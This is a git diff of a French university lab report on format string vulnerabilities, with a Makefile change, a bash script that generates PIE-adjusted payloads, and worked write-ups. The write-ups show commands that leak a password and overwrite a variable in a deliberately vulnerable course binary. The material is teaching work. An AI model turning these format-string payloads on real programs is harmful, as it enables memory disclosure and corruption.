diff --git a/content/secu_logicielle/td6-format_strings_vulns/files/q1/Makefile b/content/secu_logicielle/td6-format_strings_vulns/files/q1/Makefile index 892f161..d777877 100644 --- a/content/secu_logicielle/td6-format_strings_vulns/files/q1/Makefile +++ b/content/secu_logicielle/td6-format_strings_vulns/files/q1/Makefile @@ -4,7 +4,7 @@ SRC = $(wildcard *.c) TGT = $(subst .c,,$(SRC)) BUILD_DIR = build DUMP_DIR = dump - +SETARCH ?= 0 pframe: curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \ @@ -36,9 +36,16 @@ build: $(addprefix $(BUILD_DIR)/, $(addsuffix _32, $(TGT))) \ $(addprefix $(BUILD_DIR)/, $(addsuffix _64-pie, $(TGT))) \ -PHONY: gdb_% configure -gdb_%: $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%)) - PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} setarch -R gdb $< --command=$(subst gdb_,,$@).gdb +ifeq ($(SETARCH),1) +gdb_command = setarch -R gdb +else +gdb_command = gdb +endif +PHONY: gdb_% +gdb_%: configure $(addprefix $(BUILD_DIR)/, $(subst gdb_,,%)) + PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} $(gdb_command) \ + $(addprefix $(BUILD_DIR)/, $(subst gdb_,,$@)) \ + --command=$(subst gdb_,,$@).gdb PHONY: clean diff --git a/content/secu_logicielle/td6-format_strings_vulns/files/q1/hack_vulnerable.sh b/content/secu_logicielle/td6-format_strings_vulns/files/q1/hack_vulnerable.sh new file mode 100755 index 0000000..7bc95e6 --- /dev/null +++ b/content/secu_logicielle/td6-format_strings_vulns/files/q1/hack_vulnerable.sh @@ -0,0 +1,108 @@ +#!/bin/bash +# +# + +usage() { + cat <&2 printf "\e[31mError\e[0m: %s\n" "$1" +} + + +info() { + local message="$*" + [[ -z $DEBUG || $DEBUG -ne 1 ]] && return + [ -z "$message" ] && return + + # On affiche les informations supplémentaires pour le débogage + printf "\n\e[34mInfo\e[0m: %s\n" "$message" +} + +process_args() { + while :; do + case $1 in + -h|-\?|--help) + usage + exit 0 + ;; + -a|--address) + addr="$2" + shift + ;; + -i|--show-information) + DEBUG=1 + ;; + *) + break + esac + shift + done +} + +process_args "$@" +if [ -z "${addr:-}" ] +then + printf "Enter the return address for foo(): " + read -r addr +else + info "I have the address: $addr" +fi +if [[ $addr =~ ^0x.*$ ]] +then + addr=${addr:2:8} + info "remove 0x on address begining $addr" +fi +if [[ ! $addr =~ ^[0-9a-fA-F]{8}$ ]] +then + error "$addr is not a valid address" + exit 10 +fi + +for e in "main" "target" +do + v=$(objdump -D build/vulnerable-1_32-pie | grep "<$e>" | awk '{print $1}') + printf -v "$e" "%s" "$v" +done +info "Get main() and target address with objdump + * main: $main + * target: $target" + +delta=$((16#$target - 16#$main)) +info "Caclulate the difference between this two address: + * delta: $delta" + +pie_main=${addr:0:6}${main:6:4} +info "get the main() address on our executable : get the 3 fist numbers of addr + and the last one of the main address reported by \`objdump\` + * main() address on pie process: $pie_main" + +printf -v pie_target "%x" $((16#$pie_main + delta )) +info "Add the delta to main() address + * \`target\` address on pie process: $pie_target" + +printf -v get_target "\\\\\\\x%s" "${pie_target:6:2}" "${pie_target:4:2}" "${pie_target:2:2}" "${pie_target:0:2}" +info "Put the target address in the right order: + * address payload: $get_target" + +printf "\nGet the Target :\n" +printf "%s %s\n" "$get_target" "%23\$s" + +printf "\nModify the Target:\n" +printf "%s %s\n" "$get_target" "%23\$s" + +printf "\nHack the Target:\n" +printf "%s%s\n" "$get_target" "%152896p%23\$n" diff --git a/content/secu_logicielle/td6-format_strings_vulns/index.md b/content/secu_logicielle/td6-format_strings_vulns/index.md index f7adfc1..1d887e1 100644 --- a/content/secu_logicielle/td6-format_strings_vulns/index.md +++ b/content/secu_logicielle/td6-format_strings_vulns/index.md @@ -1,6 +1,9 @@ --- title: "Sécurité logicielle : TD6 String, format, vulnérabilité" date: 2023-03-10 +author: + - Yorick Barbanneau + - Gwendal Aupee tags: ["Assembleur", "x86"] categories: ["Sécurité logicielle", "TD"] --- @@ -9,7 +12,7 @@ categories: ["Sécurité logicielle", "TD"] ### Question 1 -Ce programme affiche ue première ligne avec les élements suivants (dans +Ce programme affiche une première ligne avec les éléments suivants (dans l'ordre)": * `c` @@ -17,16 +20,16 @@ l'ordre)": * `0x00000009` * `AAA` -Il affiche encuite la valeur de `value` dans une seconde ligne. Cette valeur a -été écrite par notre premier `fprintf` grace à `%n`. +Il affiche ensuite la valeur de `value` dans une seconde ligne. Cette valeur a +été définie par notre premier `fprintf` grâce à `%n`. ### Question 2 -Grace au commandes passées à `printf` (fonction `foo()`), nous pouvons remontrer +Grâce au commandes passées à `printf` (fonction `foo()`), nous pouvons remontrer dans la pile et ainsi afficher les adresses. ``` -%2p +%p pframe [...] 0xffffd60c 0x56555500 @@ -40,7 +43,7 @@ pframe 0xffffd5ec 0x08049192 0xffffd5e8 0x080482ac 0xffffd5e4 0xf7c73230 <- '%p' -0xffffd5e0 0xffffd63c +0xffffd5e0 0xffffd63c <- format 0xffffd5dc sp 0x080491b4 (gdb) n @@ -48,14 +51,17 @@ Single stepping until exit from function printf, which has no line number information. 0xf7c73230 <- on a bien l'affichage de %p ``` -C'est exactement la démarche vue en cours pour détourner `printf` de son udsage +C'est exactement la démarche vue en cours pour détourner `printf` de son usage de base. +Avec la version PIE, c'est exactement la même chose: on affiche l'élément juste +au dessus du format avec `%p`. + ### question 3 Avec les commandes `backtrace` puis `frame 2`, nous avons réussi à trouver l'adresse de la variable `var`: *0xffffc8a8* (sur notre machine). Ce qui -représente une remontée dans la pile de 22 élements. Il nous a suffit de saisir +représente une remontée dans la pile de 22 éléments. Il nous a suffit de saisir `%22$p` pour afficher le contenu comme dans le code ci-dessous ```bash @@ -65,15 +71,16 @@ représente une remontée dans la pile de 22 élements. Il nous a suffit de sais ``` ### Question 4 -Afin de saisir les 4 entiers , nous avonc créé un fichier de commandes gdb +Afin de saisir les 4 entiers , nous avons créé un fichier de commandes gdb modifié comme ci-dessous pour automatiser la saisie: ```gdb b printf r < <(echo -e '\x31\x32\x33\x34') ``` + Il est possible de lancer l'opération avec notre `Makefile` qui se charge de -toutes les opérations : +toutes les actions : ```bash @@ -87,13 +94,14 @@ p &buf $2 = (char (*)[128]) 0xffffd56c ``` -Au moment du prinf `SP` se situe à `0xffffd50c`, on en déduit par soustraction -que notre `buf` se trouve à 96 octets plus bas que nore pointer de pile. en -prenant en compte les adresses 32bits et la *strack frame* conteant le format, -nous injectons `%23$p` pour trouver le contenu voici la commande shell exécutée: +Au moment du `printf`, `SP` se situe à `0xffffd50c`, on en déduit par +soustraction que notre `buf` se trouve à 96 octets plus bas que notre pointeur +de pile. En prenant en compte les adresses 32bits et la *strack frame* contenant +le format, nous injectons `%23$p` pour trouver le contenu voici la commande +shell exécutée: ```bash -echo -e '\x31\x32\x33\x34 %23$p' | setarch -R ./build/vulnerable-1_32 +echo -e '\x31\x32\x33\x34 %23$p' | ./build/vulnerable-1_32 1234 0x34333231 ``` @@ -104,7 +112,7 @@ D'après `objdump`, la variable `passwd` se trouve à l'adresse `0x0804c01c` Il suffit de faire la commande suivante avec l'adresse que l'on a trouvé ```bash -echo -e '\x1c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32 +echo -e '\x1c\xc0\x04\x08 %23$s' | ./build/vulnerable-1_32 secret_password ``` @@ -123,22 +131,22 @@ objdump -D build/vulnerable-1_32 | grep target 0804c02c : ``` -Puis de forrger notre entrée. Afin d'afficher les caractères, il est nécessaire +Puis de forger notre entrée. Afin d'afficher les caractères, il est nécessaire d'utiliser `hexdump` sur notre machine: -``` -echo -e '\x2c\xc0\x04\x08 %23$s' | setarch -R ./build/vulnerable-1_32 | hexdump -C +```bash +echo -e '\x2c\xc0\x04\x08 %23$s' | ./build/vulnerable-1_32 | hexdump -C 00000000 2c c0 04 08 20 20 31 32 33 12 0a |,... 123..| 0000000b ``` ### Question 7 -Une fois que nous avons affiche le contenu de la vatiable `target`, nous allons -pouvois la modifier en changeant son contenu avec le format `%n` : +Une fois que nous avons affiché le contenu de la variable `target`, nous allons +pouvoir la modifier en changeant son contenu avec le format `%n` : ```bash -echo -e '\x2c\xc0\x04\x08 %23$n' | setarch -R ./build/vulnerable-1_32 +echo -e '\x2c\xc0\x04\x08 %23$n' | ./build/vulnerable-1_32 you have modified the target to 0x6! @@ -146,11 +154,95 @@ you have modified the target to 0x6! ### Question 8 -Uen fois la première modification appliquée, il ne reste plus qu'à forger le +Une fois la première modification appliquée, il ne reste plus qu'à forger le paramètre de notre format pour rendre la condition`if (target == 0x00025544)` vrai. -`0x25544` est égal à 152900, +`0x25544` est égal à 152900, en prenant en compte les caractères avant, notre +décalage est de 152896 pour mettre la bonne valeur dans `target` (le décalage +contient les 4 octets de l'adresse) + ```bash - echo -e '\x2c\xc0\x04\x08 %152894p%23$n' | setarch -R ./build/vulnerable-1_32 + echo -e '\x2c\xc0\x04\x08%152896p%23$n' | ./build/vulnerable-1_32 + # [...] + 0xf7c73230 +you have hacked it! ``` + +### Question 9 + +Pour réaliser les 3 questions précédentes avec l'exécutable *PIE*, nous allon +avoir besoin des éléments suivants: + + * l'adresse de `main()` et de `target` que nous pouvons obtenir avec les deux + commandes suivantes : + + ```bash + objdump -D build/vulnerable-1_32-pie | grep "
" | awk '{print $1}' + objdump -D build/vulnerable-1_32-pie | grep "" | awk '{print $1}' + ``` + + * lors de l'exécution de notre exécutable vulnérable, l'adresse de retour de + la fonction `foo()` que nous obtiendrons avec `%15$p`. Nous avond obtenu + cette valeur en observant l'exécutable avec `gdb` en utilisant `pframe` + +Voici un exemple d'exécution de l'exécutable avec la charge utile permettant +d'extraire le contenu de `target`. +``` +(echo '%15$p'; read hack; echo -e "$hack") | ./build/vulnerable-1_32-pie +0x565b92b4 +\\x2c\\xc0\\x5b\\x56 %23$s +,[V 123 +``` + +Comme nous sommes des administrateurs systèmes - et donc fainéants dans l'âme - +nous avons écrit un script permettant de réaliser **les calculs nécessaires pour +la saisie de l'adresse**. + +Ce script est disponible dans l'archive jointe à ce rapport. Il suffit de +l'exécuter avec le paramètre `-i` pour qu'il affiche les étape de création de la +charge utile. L'adresse de retour de `foo` peut être passée en paramètre via +l'option `-a` sinon il sera demandé de la saisir. + +Voici un exemple d'exécution du script: + +``` +./hack.sh -i -a 0x5655a2b4 + +Info: I have the address: 0x5655a2b4 + +Info: remove 0x on address begining 5655a2b4 + +Info: Get main() and target address with objdump + * main: 0000124c + * target: 0000402c + +Info: Caclulate the difference between this two address: + * delta: 11744 + +Info: get the main() address on our executable : get the 3 fist numbers of addr + and the last one of the main address reported by `objdump` + * main() address on pie process: 5655a24c + +Info: Add the delta to main() address + * `target` address on pie process: 5655d02c + +Info: Put the target address in the right order: + * address payload: \\x2c\\xd0\\x55\\x56 + +Get the Target : +\\x2c\\xd0\\x55\\x56 %23$s + +Modify the Target: +\\x2c\\xd0\\x55\\x56 %23$s + +Hack the Target: +\\x2c\\xd0\\x55\\x56%152896p%23$n +``` + +Le script donne enfin les charges utiles pour les question 6. 7 et 8 applicable +à la version PIE de `vulnerable`. Il suffit de copier-coller la charge utile +désirée dans la saisie attendue par l'exécution de `vulnerable-1_32-pie`. + +Nous sommes obligé d'échapper l'antislash de nos valeurs hexadécimales car notre +saisie passe par la variable `hack` avant d'être utilisée par le `echo`.